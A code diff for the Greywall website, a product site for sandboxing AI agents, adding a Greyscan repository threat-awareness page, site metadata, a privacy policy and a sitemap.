useEffect(() => {
|
||||
if (!report) return
|
||||
const target = report.riskScore
|
||||
const start = Date.now()
|
||||
const duration = 1500
|
||||
function tick() {
|
||||
const progress = Math.min((Date.now() - start) / duration, 1)
|
||||
setAnimatedScore(Math.round(target * (1 - Math.pow(1 - progress, 3))))
|
||||
if (progress < 1) requestAnimationFrame(tick)
|
||||
}
|
||||
requestAnimationFrame(tick)
|
||||
}, [report])
|
||||
|
||||
async function scan(inputUrl?: string) {
|
||||
const targetUrl = inputUrl || url
|
||||
if (!targetUrl.trim()) return
|
||||
|
||||
setPhase('scanning')
|
||||
setLines([])
|
||||
setError('')
|
||||
setReport(null)
|
||||
lineId.current = 0
|
||||
|
||||
try {
|
||||
const { owner, repo } = parseGitHubUrl(targetUrl)
|
||||
setRepoName(`${owner}/${repo}`)
|
||||
window.history.replaceState(null, '', `${window.location.pathname}?repo=${owner}/${repo}`)
|
||||
|
||||
addLine(`Connecting to github.com/${owner}/${repo}...`, 'info')
|
||||
await delay(400)
|
||||
|
||||
addLine('Fetching repository tree...', 'info')
|
||||
const { files, truncated } = await fetchTree(owner, repo)
|
||||
const dirCount = new Set(files.map(f => f.split('/').slice(0, -1).join('/'))).size
|
||||
addLine(`Found ${files.length.toLocaleString()} files across ${dirCount} directories`, 'success')
|
||||
if (truncated) addLine('Large repo — tree was truncated by GitHub', 'info')
|
||||
await delay(300)
|
||||
|
||||
// Detect stack
|
||||
addLine('Detecting stack & dependencies...', 'info')
|
||||
await delay(200)
|
||||
const stack = STACK_DETECT.filter(([, test]) => test(files)).map(([name]) => name)
|
||||
setDetectedStack(stack)
|
||||
addLine(`Stack: ${stack.join(' \u00b7 ') || 'Unknown'}`, 'success')
|
||||
await delay(300)
|
||||
|
||||
// Sensitive files
|
||||
addLine('Scanning for sensitive files & secrets...', 'info')
|
||||
await delay(200)
|
||||
const sensitive = files.filter(f => {
|
||||
const name = f.split('/').pop() || f
|
||||
return SENSITIVE_PATTERNS.some(p => name === p || name.startsWith(p + '.') || f.includes('/' + p))
|
||||
})
|
||||
for (const f of sensitive.slice(0, 12)) {
|
||||
addLine(f, 'warning')
|
||||
await delay(100)
|
||||
}
|
||||
if (sensitive.length === 0) addLine('No obvious sensitive files found', 'success')
|
||||
if (sensitive.length > 12) addLine(`...and ${sensitive.length - 12} more`, 'warning')
|
||||
await delay(200)
|
||||
|
||||
// Config files
|
||||
const configs = files.filter(f => CONFIG_PATTERNS.some(p => f.includes(p))).slice(0, 15)
|
||||
|
||||
// Agent instruction files (prompt injection surface)
|
||||
addLine('Scanning for agent instruction files...', 'info')
|
||||
await delay(200)
|
||||
const agentFiles = files.filter(f => {
|
||||
const name = f.split('/').pop() || f
|
||||
return AGENT_INSTRUCTION_PATTERNS.some(p => name === p || f.includes(p))
|
||||
})
|
||||
for (const f of agentFiles.slice(0, 8)) {
|
||||
addLine(f, 'warning')
|
||||
await delay(100)
|
||||
}
|
||||
if (agentFiles.length === 0) addLine('No agent instruction files found', 'success')
|
||||
await delay(200)
|
||||
|
||||
// Fetch dependencies
|
||||
addLine('Analyzing dependencies...', 'info')
|
||||
await delay(200)
|
||||
let deps: Record<string, string> = {}
|
||||
const pkgRaw = await fetchFile(owner, repo, 'package.json')
|
||||
if (pkgRaw) {
|
||||
try {
|
||||
const pkg = JSON.parse(pkgRaw)
|
||||
deps = { ...(pkg.dependencies || {}), ...(pkg.devDependencies || {}) }
|
||||
} catch { /* ignore parse errors */ }
|
||||
} else {
|
||||
const reqs = await fetchFile(owner, repo, 'requirements.txt')
|
||||
if (reqs) {
|
||||
reqs.split('\n').forEach(l => {
|
||||
const m = l.trim().match(/^([a-zA-Z0-9_-]+)/)
|
||||
if (m) deps[m[1]] = '*'
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Highlight interesting deps
|
||||
const interesting = Object.keys(deps).filter(d =>
|
||||
/stripe|aws|openai|anthropic|firebase|supabase|prisma|mongoose|pg|mysql|redis|twilio|sendgrid|auth0|passport|jwt|bcrypt|crypto|axios|ssh|docker|kubernetes|helm|vault|sentry/i.test(d)
|
||||
)
|
||||
for (const d of interesting.slice(0, 8)) {
|
||||
addLine(`${d} ${deps[d] !== '*' ? deps[d] : ''}`, 'warning')
|
||||
await delay(80)
|
||||
}
|
||||
if (Object.keys(deps).length > 0) {
|
||||
addLine(`${Object.keys(deps).length} total dependencies`, 'success')
|
||||
}
|
||||
await delay(300)
|
||||
|
||||
// Fetch README for context
|
||||
addLine('Reading README...', 'info')
|
||||
const readmeRaw = await fetchFile(owner, repo, 'README.md') || await fetchFile(owner, repo, 'readme.md') || ''
|
||||
const readme = readmeRaw.slice(0, 8000)
|
||||
if (readme) addLine('README loaded', 'success')
|
||||
else addLine('No README found', 'info')
|
||||
await delay(200)
|
||||
|
||||
// Generate report via LLM
|
||||
addLine('Generating agent threat report...', 'info')
|
||||
const res = await fetch('/api/analyze', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ owner, repo, files, stack, dependencies: deps, sensitiveFiles: sensitive, configFiles: configs, agentInstructionFiles: agentFiles, readme }),
|
||||
})
|
||||
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}))
|
||||
throw new Error(data.error || 'Failed to generate report')
|
||||
}
|
||||
|
||||
const reportData = await res.json()
|
||||
addLine('Report complete.', 'success')
|
||||
await delay(600)
|
||||
|
||||
setReport(reportData)
|
||||
setPhase('report')
|
||||
} catch (e: any) {
|
||||
addLine(e.message || 'Something went wrong', 'error')
|
||||
setError(e.message)
|
||||
}
|
||||
}
|
||||
|
||||
function reset() {
|
||||
setPhase('input')
|
||||
setUrl('')
|
||||
setLines([])
|
||||
setReport(null)
|
||||
setError('')
|
||||
setRepoName('')
|
||||
setDetectedStack([])
|
||||
setAnimatedScore(0)
|
||||
window.history.replaceState(null, '', window.location.pathname)
|
||||
}
|
||||
|
||||
async function copyLink() {
|
||||
await navigator.clipboard.writeText(window.location.href)
|
||||
setCopied(true)
|
||||
setTimeout(() => setCopied(false), 2000)
|
||||
}
|
||||
|
||||
const color = report ? riskColor(report.riskLevel) : '#D95E2A'
|
||||
const circumference = 2 * Math.PI * 45
|
||||
|
||||
return (
|
||||
<main className="min-h-screen">
|
||||
{/* Nav */}
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/90 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2 text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
<span className="hidden sm:inline">Back to Greywall</span>
|
||||
</a>
|
||||
<div className="inline-flex items-center gap-3">
|
||||
<GreywallLogo size="small" />
|
||||
<span className="font-sans text-lg font-semibold tracking-[-0.03em] text-foreground">
|
||||
Greyscan
|
||||
</span>
|
||||
</div>
|
||||
<div className="w-20" />
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div className="pt-14">
|
||||
{/* ── INPUT PHASE ── */}
|
||||
{phase === 'input' && (
|
||||
<section className="relative min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6">
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
backgroundImage: 'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
|
||||
backgroundSize: '64px 64px',
|
||||
}}
|
||||
/>
|
||||
|
||||
<div className="relative max-w-2xl w-full text-center animate-fade-up">
|
||||
<h1 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight leading-[1.1] mb-4">
|
||||
What would an unrestricted agent try on your machine?
|
||||
</h1>
|
||||
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed mb-10 max-w-xl mx-auto">
|
||||
Paste a public repository and Greyscan will estimate the reads, writes, and calls an unrestricted agent would likely attempt from that context. This is an awareness tool, not a security assessment.
|
||||
</p>
|
||||
|
||||
<form
|
||||
onSubmit={e => { e.preventDefault(); scan() }}
|
||||
className="flex gap-2 max-w-lg mx-auto"
|
||||
>
|
||||
<input
|
||||
type="text"
|
||||
value={url}
|
||||
onChange={e => setUrl(e.target.value)}
|
||||
placeholder="github.com/owner/repo"
|
||||
className="flex-1 bg-card/50 border border-border/50 rounded-lg px-4 py-3 text-sm font-mono placeholder:text-muted-foreground/50 focus:outline-none focus:border-primary/50 focus:ring-1 focus:ring-primary/20 transition-all"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={!url.trim()}
|
||||
className="bg-primary text-primary-foreground px-5 py-3 rounded-lg text-sm font-sans font-medium hover:bg-primary/90 disabled:opacity-40 disabled:cursor-not-allowed transition-all flex items-center gap-2 cursor-pointer"
|
||||
>
|
||||
Scan
|
||||
<ArrowRight className="h-4 w-4" />
|
||||
</button>
|
||||
</form>
|
||||
|
||||
<p className="text-xs text-muted-foreground/50 mt-4 font-sans">
|
||||
Public repos only · No code is stored · Built on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* ── SCANNING PHASE ── */}
|
||||
{phase === 'scanning' && (
|
||||
<section className="min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6 py-12">
|
||||
<div className="max-w-2xl w-full animate-fade-up">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Shield className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Scanning {repoName}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div
|
||||
ref={termRef}
|
||||
className="code-block p-5 sm:p-6 max-h-[60vh] overflow-y-auto scrollbar-hide"
|
||||
>
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">
|
||||
greyscan
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="space-y-1.5 font-mono text-xs sm:text-sm">
|
||||
{lines.map(line => (
|
||||
<div key={line.id} className="animate-fade-up" style={{ animationDuration: '0.3s' }}>
|
||||
{line.type === 'info' && (
|
||||
<span className="text-muted-foreground">
|
||||
<span className="opacity-50">$ </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
{line.type === 'success' && (
|
||||
<span className="text-green-400">
|
||||
<span className="opacity-50">{'\u2713'} </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
{line.type === 'warning' && (
|
||||
<span className="text-primary">
|
||||
<span className="opacity-60">{'\u26A0'} </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
{line.type === 'error' && (
|
||||
<span className="text-red-400">
|
||||
<span className="opacity-60">{'\u2717'} </span>{line.text}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
{!error && (
|
||||
<div className="inline-block w-1.5 h-4 bg-primary/70 animate-pulse mt-1" />
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<div className="mt-4 text-center">
|
||||
<button
|
||||
onClick={reset}
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors font-sans cursor-pointer"
|
||||
>
|
||||
← Try another repo
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* ── REPORT PHASE ── */}
|
||||
{phase === 'report' && report && (
|
||||
<section className="px-4 sm:px-6 py-12 sm:py-16">
|
||||
<div className="max-w-2xl mx-auto">
|
||||
{/* Report Card */}
|
||||
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up">
|
||||
{/* Header */}
|
||||
<div className="p-6 sm:p-8 border-b border-border/20">
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
<div>
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<Shield className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
What an agent would try on your machine
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-mono text-lg sm:text-xl text-foreground mb-1">
|
||||
{repoName}
|
||||
</h2>
|
||||
<p className="text-xs text-muted-foreground font-sans">
|
||||
{detectedStack.join(' \u00b7 ')}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Risk Score Circle */}
|
||||
<div className="relative w-24 h-24 sm:w-28 sm:h-28 flex-shrink-0">
|
||||
<svg className="w-full h-full -rotate-90" viewBox="0 0 100 100">
|
||||
<circle
|
||||
cx="50" cy="50" r="45" fill="none"
|
||||
stroke="rgb(var(--border))" strokeWidth="5" opacity="0.3"
|
||||
/>
|
||||
<circle
|
||||
cx="50" cy="50" r="45" fill="none"
|
||||
stroke={color} strokeWidth="5"
|
||||
strokeDasharray={circumference}
|
||||
strokeDashoffset={circumference - (animatedScore / 100) * circumference}
|
||||
strokeLinecap="round"
|
||||
className="transition-[stroke-dashoffset] duration-100"
|
||||
/>
|
||||
</svg>
|
||||
<div className="absolute inset-0 flex flex-col items-center justify-center">
|
||||
<span className="text-2xl sm:text-3xl font-bold font-sans" style={{ color }}>
|
||||
{animatedScore}
|
||||
</span>
|
||||
<span className="text-[10px] text-muted-foreground uppercase tracking-wider">
|
||||
/100
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Risk Level Badge */}
|
||||
<div
|
||||
className="mt-4 inline-flex items-center gap-1.5 px-2.5 py-1 rounded-md text-xs font-sans font-medium"
|
||||
style={{
|
||||
background: `${color}15`,
|
||||
border: `1px solid ${color}30`,
|
||||
color,
|
||||
}}
|
||||
>
|
||||
<AlertTriangle className="h-3 w-3" />
|
||||
{report.riskLevel} RISK
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Summary */}
|
||||
<div className="px-6 sm:px-8 py-4 border-b border-border/20 bg-card/10">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
{report.summary}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Findings */}
|
||||
<div className="divide-y divide-border/10">
|
||||
{report.findings.map((finding, i) => (
|
||||
<div
|
||||
key={i}
|
||||
className="px-6 sm:px-8 py-4 animate-fade-up"
|
||||
style={{ animationDelay: `${i * 100}ms` }}
|
||||
>
|
||||
<div className="flex items-start gap-3">
|
||||
<div className={`mt-0.5 p-1.5 rounded ${severityBg(finding.severity)} ${severityColor(finding.severity)}`}>
|
||||
{typeIcon(finding.type)}
|
||||
</div>
|
||||
<div className="flex-1 min-w-0">
|
||||
<div className="flex items-center gap-2 mb-1">
|
||||
<span className={`text-[10px] font-sans font-medium uppercase tracking-wider ${severityColor(finding.severity)}`}>
|
||||
{finding.severity}
|
||||
</span>
|
||||
</div>
|
||||
<h3 className="text-sm font-sans font-medium text-foreground mb-1">
|
||||
{finding.title}
|
||||
</h3>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mb-2">
|
||||
{finding.description}
|
||||
</p>
|
||||
<code className="text-[11px] font-mono text-muted-foreground/70 bg-background/50 px-2 py-1 rounded break-all inline-block">
|
||||
{finding.command}
|
||||
</code>
|
||||
{finding.note && (
|
||||
<p className="text-[11px] text-muted-foreground/50 font-sans mt-2 italic">
|
||||
{finding.note}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* CTA */}
|
||||
<div className="px-6 sm:px-8 py-6 sm:py-8 border-t border-border/20 bg-card/20 text-center">
|
||||
<p className="text-xs text-muted-foreground/50 font-sans mb-4">
|
||||
This is a demonstration, not a security audit.
|
||||
</p>
|
||||
<p className="font-serif text-lg sm:text-xl font-semibold tracking-tight mb-5">
|
||||
Greywall blocks this by default.
|
||||
</p>
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center gap-2 bg-primary text-primary-foreground px-5 py-2.5 rounded-lg text-sm font-sans font-medium hover:bg-primary/90 transition-all"
|
||||
>
|
||||
Install Greywall
|
||||
<ArrowRight className="h-4 w-4" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Actions */}
|
||||
<div className="flex items-center justify-center gap-3 mt-6">
|
||||
<button
|
||||
onClick={copyLink}
|
||||
className="flex items-center gap-2 px-4 py-2 rounded-lg border border-border/30 text-sm text-muted-foreground hover:text-foreground hover:border-border/50 transition-all font-sans cursor-pointer"
|
||||
>
|
||||
{copied ? <Check className="h-4 w-4 text-green-400" /> : <Copy className="h-4 w-4" />}
|
||||
{copied ? 'Copied!' : 'Share Report'}
|
||||
</button>
|
||||
<button
|
||||
onClick={reset}
|
||||
className="flex items-center gap-2 px-4 py-2 rounded-lg border border-border/30 text-sm text-muted-foreground hover:text-foreground hover:border-border/50 transition-all font-sans cursor-pointer"
|
||||
>
|
||||
Scan Another Repo
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)}
|
||||
</div>
|
||||
</main>
|
||||
)
|
||||
}
|
||||
113
app/layout.tsx
@@ -1,18 +1,113 @@
|
||||
import type { Metadata } from 'next'
|
||||
import { Geist } from 'next/font/google'
|
||||
import localFont from 'next/font/local'
|
||||
import './globals.css'
|
||||
|
||||
const geistSans = Geist({
|
||||
variable: '--font-geist-sans',
|
||||
subsets: ['latin'],
|
||||
})
|
||||
|
||||
const sourceSerifPro = localFont({
|
||||
src: [
|
||||
{
|
||||
path: '../public/fonts/Source_Serif_4/SourceSerif4-VariableFont_opsz,wght.ttf',
|
||||
style: 'normal',
|
||||
},
|
||||
{
|
||||
path: '../public/fonts/Source_Serif_4/SourceSerif4-Italic-VariableFont_opsz,wght.ttf',
|
||||
style: 'italic',
|
||||
},
|
||||
],
|
||||
variable: '--font-source-serif-pro',
|
||||
weight: '200 900',
|
||||
display: 'swap',
|
||||
preload: true,
|
||||
})
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Greywall — Sandbox for AI Agents',
|
||||
metadataBase: new URL('https://greywall.io'),
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description:
|
||||
'Container-free, default-deny sandboxing with real-time observability for AI coding agents. Five defense layers. One command.',
|
||||
'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS. Filesystem, network, and command boundaries stay under your control.',
|
||||
icons: {
|
||||
icon: [
|
||||
{ url: '/icon.svg', type: 'image/svg+xml' },
|
||||
{ url: '/greyhaven-mark.svg', type: 'image/svg+xml' },
|
||||
{ url: '/icon-dark-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: dark)' },
|
||||
{ url: '/icon-light-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: light)' },
|
||||
],
|
||||
apple: '/apple-icon.png',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||
url: 'https://greywall.io',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
images: [{ url: '/og-image.png', width: 1200, height: 630 }],
|
||||
},
|
||||
twitter: {
|
||||
card: 'summary_large_image',
|
||||
title: 'Greywall | Contained Sandboxing for AI Agents',
|
||||
description: 'Default-deny sandboxing with real-time observability for AI agents on Linux and macOS.',
|
||||
images: ['/og-image.png'],
|
||||
},
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io',
|
||||
},
|
||||
}
|
||||
|
||||
const jsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@graph': [
|
||||
{
|
||||
'@type': 'Organization',
|
||||
'@id': 'https://greyhaven.co/#organization',
|
||||
name: 'Greyhaven',
|
||||
url: 'https://greyhaven.co',
|
||||
logo: { '@type': 'ImageObject', url: 'https://greywall.io/greyhaven-mark.svg' },
|
||||
sameAs: ['https://github.com/GreyhavenHQ'],
|
||||
},
|
||||
{
|
||||
'@type': 'WebSite',
|
||||
'@id': 'https://greywall.io/#website',
|
||||
name: 'Greywall',
|
||||
url: 'https://greywall.io',
|
||||
publisher: { '@id': 'https://greyhaven.co/#organization' },
|
||||
},
|
||||
{
|
||||
'@type': 'SoftwareApplication',
|
||||
'@id': 'https://greywall.io/#software',
|
||||
name: 'Greywall',
|
||||
description:
|
||||
'Default-deny sandboxing with real-time observability and dynamic controls for AI agents on Linux and macOS.',
|
||||
applicationCategory: 'SecurityApplication',
|
||||
operatingSystem: 'Linux, macOS',
|
||||
url: 'https://greywall.io',
|
||||
downloadUrl: 'https://github.com/GreyhavenHQ/greywall',
|
||||
license: 'https://opensource.org/licenses/Apache-2.0',
|
||||
offers: { '@type': 'Offer', price: '0', priceCurrency: 'USD' },
|
||||
author: { '@id': 'https://greyhaven.co/#organization' },
|
||||
featureList: [
|
||||
'Filesystem isolation',
|
||||
'Network isolation',
|
||||
'Command blocking',
|
||||
'Real-time violation monitoring',
|
||||
'Learning mode',
|
||||
'Syscall filtering',
|
||||
'Dynamic allow/deny controls',
|
||||
],
|
||||
isAccessibleForFree: true,
|
||||
},
|
||||
{
|
||||
'@type': 'SoftwareSourceCode',
|
||||
name: 'Greywall',
|
||||
codeRepository: 'https://github.com/GreyhavenHQ/greywall',
|
||||
programmingLanguage: 'Go',
|
||||
license: 'https://opensource.org/licenses/Apache-2.0',
|
||||
targetProduct: { '@id': 'https://greywall.io/#software' },
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
export default function RootLayout({
|
||||
@@ -21,16 +116,14 @@ export default function RootLayout({
|
||||
children: React.ReactNode
|
||||
}>) {
|
||||
return (
|
||||
<html lang="en" className="dark">
|
||||
<html lang="en">
|
||||
<head>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossOrigin="anonymous" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Source+Serif+4:ital,opsz,wght@0,8..60,400;0,8..60,500;0,8..60,600;0,8..60,700;1,8..60,400;1,8..60,600;1,8..60,700&display=swap"
|
||||
rel="stylesheet"
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
|
||||
/>
|
||||
</head>
|
||||
<body className="font-sans antialiased bg-background text-foreground">
|
||||
<body className={`${geistSans.variable} ${sourceSerifPro.variable} min-h-dvh flex flex-col`}>
|
||||
{children}
|
||||
</body>
|
||||
</html>
|
||||
|
||||
14
app/page.tsx
@@ -1,28 +1,34 @@
|
||||
'use client'
|
||||
|
||||
import { PlatformProvider } from '@/components/platform-toggle'
|
||||
import { Nav } from '@/components/nav'
|
||||
import { Hero } from '@/components/hero'
|
||||
import { Agents } from '@/components/agents'
|
||||
import { Problem } from '@/components/problem'
|
||||
import { GettingStarted } from '@/components/getting-started'
|
||||
import { Layers } from '@/components/layers'
|
||||
import { Observability } from '@/components/observability'
|
||||
import { Control } from '@/components/control'
|
||||
import { Comparison } from '@/components/comparison'
|
||||
import { Waitlist } from '@/components/waitlist'
|
||||
import { About } from '@/components/about'
|
||||
import { FAQ } from '@/components/faq'
|
||||
import { Footer } from '@/components/footer'
|
||||
|
||||
export default function Home() {
|
||||
return (
|
||||
<PlatformProvider>
|
||||
<main className="min-h-screen">
|
||||
<main className="bg-gradient min-h-screen">
|
||||
<Nav />
|
||||
<Hero />
|
||||
<Agents />
|
||||
<Problem />
|
||||
<Observability />
|
||||
<Agents />
|
||||
<Layers />
|
||||
<Control />
|
||||
<Comparison />
|
||||
<GettingStarted />
|
||||
<Waitlist />
|
||||
<About />
|
||||
<FAQ />
|
||||
<Footer />
|
||||
</main>
|
||||
</PlatformProvider>
|
||||
|
||||
118
app/privacy/page.tsx
Normal file
@@ -0,0 +1,118 @@
|
||||
import type { Metadata } from 'next'
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Privacy Policy | Greywall',
|
||||
description: 'How Greywall handles your data.',
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io/privacy',
|
||||
},
|
||||
}
|
||||
|
||||
export default function PrivacyPage() {
|
||||
return (
|
||||
<main className="min-h-screen pt-24 pb-16 px-4 sm:px-6">
|
||||
<article className="mx-auto max-w-2xl">
|
||||
<h1 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-2">
|
||||
Privacy Policy
|
||||
</h1>
|
||||
<p className="text-sm text-muted-foreground font-sans mb-12">
|
||||
Last updated: March 19, 2026
|
||||
</p>
|
||||
|
||||
<div className="space-y-10 text-muted-foreground font-serif text-base leading-relaxed">
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Greywall (the CLI tool)</h2>
|
||||
<p>
|
||||
Greywall runs entirely on your machine. It does not phone home, collect telemetry,
|
||||
or transmit any data. No analytics, no crash reports, no usage tracking. The source
|
||||
code is open and auditable
|
||||
at <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">github.com/GreyhavenHQ/greywall</a>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">This website (greywall.io)</h2>
|
||||
<p className="mb-4">
|
||||
The Greywall landing page is a static site hosted on Vercel. We do not use cookies,
|
||||
analytics scripts, or tracking pixels. Vercel may collect minimal server logs
|
||||
(IP address, user agent, timestamp) as part of standard web hosting.
|
||||
See <a href="https://vercel.com/legal/privacy-policy" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Vercel's privacy policy</a> for
|
||||
details.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Greyscan</h2>
|
||||
<p className="mb-4">
|
||||
When you use Greyscan at <a href="/greyscan" className="text-primary hover:text-primary/80 transition-colors">/greyscan</a>,
|
||||
the following happens:
|
||||
</p>
|
||||
<ul className="list-disc pl-6 space-y-2">
|
||||
<li>
|
||||
Your browser fetches the public file tree, dependency list, and README from GitHub's
|
||||
API directly. This data never passes through our servers during collection.
|
||||
</li>
|
||||
<li>
|
||||
To generate the threat report, a summary of the repo structure (file names,
|
||||
detected stack, dependency names, and up to 8,000 characters of the README) is
|
||||
sent to our server and forwarded to a third-party LLM provider for analysis.
|
||||
</li>
|
||||
<li>
|
||||
Results are cached in server memory for up to 24 hours to avoid redundant
|
||||
LLM calls for the same repository, then discarded. We do not persist scan
|
||||
results to disk or a database.
|
||||
</li>
|
||||
<li>
|
||||
No repository source code is read or transmitted. Only file paths, dependency
|
||||
names, and the public README are included.
|
||||
</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Third-party services</h2>
|
||||
<ul className="list-disc pl-6 space-y-2">
|
||||
<li>
|
||||
<span className="text-foreground font-medium">GitHub API</span> — Greyscan
|
||||
calls the GitHub REST API from your browser to fetch public repository metadata.
|
||||
Subject to <a href="https://docs.github.com/en/site-policy/privacy-policies/github-general-privacy-statement" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">GitHub's privacy statement</a>.
|
||||
</li>
|
||||
<li>
|
||||
<span className="text-foreground font-medium">LLM provider</span> — Repo
|
||||
summaries sent through Greyscan are processed by a third-party LLM to generate
|
||||
threat reports. The provider may retain data per their own policies.
|
||||
</li>
|
||||
<li>
|
||||
<span className="text-foreground font-medium">Vercel</span> — Hosting
|
||||
infrastructure. See <a href="https://vercel.com/legal/privacy-policy" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Vercel's privacy policy</a>.
|
||||
</li>
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Security</h2>
|
||||
<p>
|
||||
If you discover a security issue in Greywall or this website, please report it
|
||||
via <a href="https://github.com/GreyhavenHQ/greywall/security" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">GitHub Security Advisories</a>.
|
||||
We will respond promptly.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h2 className="font-serif text-xl font-semibold text-foreground mb-3">Contact</h2>
|
||||
<p>
|
||||
For questions about this policy,
|
||||
reach us at <a href="https://greyhaven.co/contact" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">greyhaven.co/contact</a>.
|
||||
</p>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div className="mt-16 pt-8 border-t border-border/30">
|
||||
<a href="/" className="text-sm text-muted-foreground hover:text-foreground transition-colors font-sans">
|
||||
← Back to Greywall
|
||||
</a>
|
||||
</div>
|
||||
</article>
|
||||
</main>
|
||||
)
|
||||
}
|
||||
9
app/sitemap.ts
Normal file
@@ -0,0 +1,9 @@
|
||||
import type { MetadataRoute } from 'next'
|
||||
|
||||
export default function sitemap(): MetadataRoute.Sitemap {
|
||||
return [
|
||||
{ url: 'https://greywall.io', lastModified: new Date(), changeFrequency: 'weekly', priority: 1 },
|
||||
{ url: 'https://greywall.io/greyscan', lastModified: new Date(), changeFrequency: 'monthly', priority: 0.8 },
|
||||
